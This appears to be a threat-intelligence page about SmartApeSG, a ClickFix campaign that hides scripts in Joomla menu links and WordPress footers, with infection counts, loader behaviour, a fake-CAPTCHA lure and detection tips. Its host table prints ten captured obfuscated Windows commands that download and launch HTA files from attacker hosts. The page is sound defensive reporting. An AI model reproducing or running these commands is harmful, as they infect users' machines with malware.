Web threats / ClickFix

SmartApeSG ClickFix kit

SmartApeSG is a ClickFix campaign that hides a script in a Joomla menu link. We have matched it on 2,242 sites since 3 August.

SmartApeSG in numbers

Since 3 August, the first SmartApeSG match in our records, counted on 12 November 2026. How we count.

Sites with SmartApeSG code2,242
Sites with a match in the last 30 days1,597
New sites in October302
New sites in November so far466
Still serving it when recaptured at least 25 days later1,020 of 1,063 sites (96%)
Sites whose captures requested Joomla core files since 25 September88%

On Joomla, SmartApeSG hides in the class attribute of a menu item. The injected markup is malformed on purpose, so the browser closes the attribute early and reads an async script tag from inside it. The menu link around it breaks, which is often the only visible damage. We see this in Helix menus (sp-menu-item) and in Joomla's standard numbered item-* menus.

The script path changes with each wave but keeps the same shape, a short sequence of words such as /identity/realm-xml.js, /route/tenant-core.js, /session/login-template.js or /tenant/logout-transpiler.js. The host serving them rotates too.

The WordPress sites we see get it differently: a footer loader that fetches a REST route on the site itself, such as /wp-json/wal/v1/footer, copies each script it returns into the page and leaves a hidden data-wal-hash marker so it never adds the same one twice.

SANS has written about SmartApeSG and how it differs from KongTuke, a similar campaign.

Once a day, never on a phone

The external script rebuilds its next address with a hexadecimal XOR, then checks a timestamp in local storage and gives up if the visitor saw it in the last 24 hours. It also skips mobile browsers. A visitor who passes gets the next stage, as a script or in a full-screen frame depending on the build. Its addresses sit in the obfuscated script and change with each rotation.

Builds have kept the timestamp under cf-used-at, lastVisit or CACHE_KEY_EVICT_10. The rotation we captured on 10 November 2026 decodes its address with the key CHECK_SUM, keeps the timestamp under TS_TREE and deletes any cf-used-at entry. It loads its next stage as a script from /tenant/trace-css? plus eight random characters, on the loader's own host.

The fake CAPTCHA and the command

The lure is a fake CAPTCHA built in React. Each click on the checkbox copies a Windows command to the clipboard and counts the click. The command is written in pieces with delayed-expansion variables so no single string gives it away, and it uses curl to download an HTA file into the user's AppData\Local folder. Newer builds never write the word curl: a loop, for %x in (cu) do %xrl, puts it together when the command runs, and the file path comes from a second loop variable read back with %~y.

What we see

MonthNew sites
September1,198
October302
November so far466

Of the 1,063 sites recaptured at least 25 days after their first match, 1,020 were still serving SmartApeSG (96%). Of the sites captured since 25 September, 88% requested Joomla core files and 8% ran WordPress.

Checking a site

On Joomla, open the page source and search the menu for a class attribute that contains <script. Look for script paths shaped like /word/word-word.js on a host you do not recognise, or menu links that render broken.

On WordPress, look for a REST route under /wp-json/wal/ or a hidden element with a data-wal-hash attribute that you did not add.

In the browser, a cf-used-at, TS_TREE, lastVisit or CACHE_KEY_EVICT_10 entry in local storage on your site's domain is another sign.

Hosts its commands download from

SmartApeSG lure commands we captured download from 18 hosts. These are the 10 on the most sites.

HostSitesLast seenLatest command
api[.]stepanapis[.]com51
Command
%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]stepanapis[.]com/prs& start "" "%y")"

URL hxxp://api[.]stepanapis[.]com/prs

First seen 13 October 2026, 1 URL on this host.

spinneyandcalcite[.]com16
Command
%COMSPEC% /q /c for %s in (sta) do @%srt "" /min %COMSPEC% /q /c "for %x in (cu) do for %y in ("%LocalAppData%\NHEWS.h") do (%xrl -s -L -k -o "%~yta" spinneyandcalcite[.]com/roq& explorer "%~yta")"

URL hxxp://spinneyandcalcite[.]com/roq

First seen 11 November 2026, 1 URL on this host.

sloughandnephrite[.]com7
Command
%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set f=cu&set d=rl&for %g in (%LocalAppData%\prospect.hta) do !f!!d! -skLo "%g" sloughandnephrite[.]com/wave& start "" "%g")"

URL hxxp://sloughandnephrite[.]com/wave

First seen 15 October 2026, 1 URL on this host.

api[.]cuestmoon[.]com5
Command
%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]cuestmoon[.]com/gtr& start "" "%y")"

URL hxxp://api[.]cuestmoon[.]com/gtr

First seen 12 October 2026, 1 URL on this host.

gulchandlapis[.]com3
Command
%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\HUREAG.hta) do !x!!c! -skLo "%y" gulchandlapis[.]com/hns& start "" "%y")"

URL hxxp://gulchandlapis[.]com/hns

First seen 7 October 2026, 1 URL on this host.

api[.]tundstone[.]com2
Command
%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]tundstone[.]com/drs& start "" "%y")"

URL hxxp://api[.]tundstone[.]com/drs

First seen 14 October 2026, 1 URL on this host.

fenandalabaster[.]com2
Command
%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" fenandalabaster[.]com/oo& start "" "%y")"

URL hxxp://fenandalabaster[.]com/oo

First seen 16 October 2026, 1 URL on this host.

holmandandesite[.]com2
Command
%COMSPEC% /c start "" /m^i^n %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" holmandandesite[.]com/rsc& start "" "%y")" & rem              ---------- Human verification: press Enter to continue

URL hxxp://holmandandesite[.]com/rsc

First seen 31 October 2026, 1 URL on this host.

orchardandbarite[.]com2
Command
%COMSPEC% /q /c for %s in (sta) do @%srt "" /min %COMSPEC% /q /c "for %x in (cu) do for %y in ("%LocalAppData%\NHEWS.h") do (%xrl -s -L -k -o "%~yta" orchardandbarite[.]com/spa& explorer "%~yta")"

URL hxxp://orchardandbarite[.]com/spa

First seen 12 November 2026, 1 URL on this host.

api[.]arroystone[.]com1
Command
%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]arroystone[.]com/v1& start "" "%y")"

URL hxxp://api[.]arroystone[.]com/v1

First seen 9 October 2026, 1 URL on this host.

The ClickFix command tracker lists every host.

Try the feed for 14 days.

Request a trial and we'll send you a live API key, with the same feed, removals and reasons a customer gets.